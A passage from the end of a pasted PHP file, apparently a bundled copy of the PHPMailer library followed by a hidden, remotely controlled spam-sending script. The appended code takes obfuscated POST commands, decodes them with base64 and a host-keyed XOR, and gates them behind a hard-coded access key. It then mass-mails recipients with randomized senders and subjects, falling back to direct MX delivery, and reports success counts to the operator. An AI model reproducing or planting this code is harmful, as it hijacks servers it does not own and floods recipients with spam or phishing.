  2658. "\tbh=" . $DKIMb64 . ";\r\n" .
  2659. "\tb=";
  2660. $toSign = $this->DKIM_HeaderC(
  2661. $from_header . "\r\n" . $to_header . "\r\n" . $subject_header . "\r\n" . $dkimhdrs
  2662. );
  2663. $signed = $this->DKIM_Sign($toSign);
  2664. return $dkimhdrs . $signed . "\r\n";
  2665. }
  2666. public function getToAddresses()
  2667. {
  2668. return $this->to;
  2669. }
  2670.  
  2671. public function getCcAddresses()
  2672. {
  2673. return $this->cc;
  2674. }
  2675.  
  2676. public function getBccAddresses()
  2677. {
  2678. return $this->bcc;
  2679. }
  2680.  
  2681. public function getReplyToAddresses()
  2682. {
  2683. return $this->ReplyTo;
  2684. }
  2685.  
  2686. public function getAllRecipientAddresses()
  2687. {
  2688. return $this->all_recipients;
  2689. }
  2690.  
  2691. protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from)
  2692. {
  2693. if (!empty($this->action_function) && is_callable($this->action_function)) {
  2694. $params = array($isSent, $to, $cc, $bcc, $subject, $body, $from);
  2695. call_user_func_array($this->action_function, $params);
  2696. }
  2697. }
  2698. }
  2699. class phpmailerException extends Exception
  2700. {
  2701. public function errorMessage()
  2702. {
  2703. $errorMsg = '<strong>' . $this->getMessage() . "</strong><br />\n";
  2704. return $errorMsg;
  2705. }
  2706. }
  2707.  
  2708. /////////////////////////////////////////////////////////////////
  2709. function sendSmtpMail($from_email, $from_name, $to, $subject, $body, $type)
  2710. {
  2711. $mail = new PHPMailer();
  2712. $mail->isMail();
  2713. $mail->CharSet = 'utf-8';
  2714. $mail->SetFrom($from_email, $from_name);
  2715. $mail->AddAddress($to);
  2716. $mail->Subject = $subject;
  2717.  
  2718. if ($type == "1")
  2719. {
  2720. $mail->MsgHTML($body);
  2721. }
  2722. elseif ($type == "2")
  2723. {
  2724. $mail->isHTML(false);
  2725. $mail->Body = $body;
  2726. }
  2727.  
  2728. if (isset($_FILES))
  2729. {
  2730. foreach($_FILES as $key => $file)
  2731. {
  2732. $mail->addAttachment($file['tmp_name'], $file['name']);
  2733. }
  2734. }
  2735.  
  2736. if (!$mail->send())
  2737. {
  2738. $to_domain = explode("@", $to);
  2739. $to_domain = $to_domain[1];
  2740. $mail->IsSMTP();
  2741. $mail->Host = mx_lookup($to_domain);
  2742. $mail->Port = 25;
  2743. $mail->SMTPAuth = false;
  2744. if (!$mail->send())
  2745. {
  2746. return Array(0, $mail->ErrorInfo);
  2747. }
  2748. else
  2749. {
  2750. return Array(2, 0);
  2751. }
  2752. }
  2753. else
  2754. {
  2755. return Array(1, 0);
  2756. }
  2757. }
  2758.  
  2759. function mx_lookup($hostname)
  2760. {
  2761. @getmxrr($hostname, $mxhosts, $precedence);
  2762. if(count($mxhosts) === 0) return '127.0.0.1';
  2763. $position = array_keys($precedence, min($precedence));
  2764. return $mxhosts[$position[0]];
  2765. }
  2766. function myhex2bin( $str ) {
  2767. $sbin = "";
  2768. $len = strlen( $str );
  2769. for ( $i = 0; $i < $len; $i += 2 ) {
  2770. $sbin .= pack( "H*", substr( $str, $i, 2 ) );
  2771. }
  2772. return $sbin;
  2773. }
  2774.  
  2775. function b64d($input) {
  2776. $keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
  2777. $chr1 = $chr2 = $chr3 = "";
  2778. $enc1 = $enc2 = $enc3 = $enc4 = "";
  2779. $i = 0;
  2780. $output = "";
  2781.  
  2782. $input = preg_replace("~[^A-Za-z0-9\+\/\=]~", "", $input);
  2783. do {
  2784. $enc1 = strpos($keyStr, substr($input, $i++, 1));
  2785. $enc2 = strpos($keyStr, substr($input, $i++, 1));
  2786. $enc3 = strpos($keyStr, substr($input, $i++, 1));
  2787. $enc4 = strpos($keyStr, substr($input, $i++, 1));
  2788. $chr1 = ($enc1 << 2) | ($enc2 >> 4);
  2789. $chr2 = (($enc2 & 15) << 4) | ($enc3 >> 2);
  2790. $chr3 = (($enc3 & 3) << 6) | $enc4;
  2791. $output = $output . chr((int) $chr1);
  2792. if ($enc3 != 64) {
  2793. $output = $output . chr((int) $chr2);
  2794. }
  2795. if ($enc4 != 64) {
  2796. $output = $output . chr((int) $chr3);
  2797. }
  2798. $chr1 = $chr2 = $chr3 = "";
  2799. $enc1 = $enc2 = $enc3 = $enc4 = "";
  2800. } while ($i < strlen($input));
  2801. return $output;
  2802. }
  2803.  
  2804. function decode($data, $key)
  2805. {
  2806. $out_data = "";
  2807. for ($i=0; $i<strlen($data);)
  2808. {
  2809. for ($j=0; $j<strlen($key) && $i<strlen($data); $j++, $i++)
  2810. {
  2811. $out_data .= chr(ord($data[$i]) ^ ord($key[$j]));
  2812. }
  2813. }
  2814. return $out_data;
  2815. }
  2816. function type1_send($config)
  2817. {
  2818. $key = $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
  2819.  
  2820. $data = b64d($config);
  2821. $data = decode($data, $key);
  2822. $data = @unserialize($data);
  2823. if (!$data || !isset($data['ak']))
  2824. {
  2825. return FALSE;
  2826. }
  2827. if ($data['ak'] != "a41a04c9-7797-476d-bc94-00f197043f5f")
  2828. {
  2829. exit();
  2830. }
  2831. if (isset($data['c']))
  2832. {
  2833. $res["r"]["c"] = $data['c'];
  2834. return serialize($res);
  2835. }
  2836. $good = 0;
  2837. $bad = 0;
  2838. $last_error = Array(0, 0);
  2839. foreach ($data['e'] as $uid=>$email)
  2840. {
  2841. $theme = $data['s'][array_rand($data['s'])];
  2842. $theme = alter_macros($theme);
  2843. $theme = num_macros($theme);
  2844. $theme = xnum_macros($theme);
  2845. $message = $data['l'];
  2846. $message = alter_macros($message);
  2847. $message = num_macros($message);
  2848. $message = xnum_macros($message);
  2849. $message = fteil_macros($message, $uid);
  2850. $from = $data['f'][array_rand($data['f'])];
  2851. $from = alter_macros($from);
  2852. $from = num_macros($from);
  2853. $from = xnum_macros($from);
  2854.  
  2855. if (strstr($from, "[CUSTOM]") == FALSE)
  2856. {
  2857. $from = from_host($from);
  2858. }
  2859. else
  2860. {
  2861. $from = str_replace("[CUSTOM]", "", $from);
  2862. }
  2863.  
  2864. $from_email = explode("<", $from);
  2865. $from_email = explode(">", $from_email[1]);
  2866. $from_name = explode("\"", $from);
  2867. $last_error = sendSmtpMail($from_email[0], $from_name[1], $email, $theme, $message, $data['lt']);
  2868.  
  2869. if ($last_error[1] === 0)
  2870. {
  2871. $good++;
  2872. }
  2873. else
  2874. {
  2875. $bad++;
  2876. $good = count($data['e']) - $bad;
  2877. }
  2878. }
  2879.  
  2880. $res["r"]["t"] = $last_error[0];
  2881. $res["r"]["e"] = $last_error[1] === FALSE ? 0 : $last_error[1];
  2882. $res["r"]["g"] = $good;
  2883. $res["r"]["b"] = $bad;
  2884.  
  2885. return serialize($res);
  2886. }
  2887.  
  2888. $config = array_values($_POST);
  2889. $res = type1_send($config[0]);
  2890. if ($res) {
  2891. echo $res;
  2892. }
  2893.  
  2894. exit();
Add Comment
Please, Sign In to add comment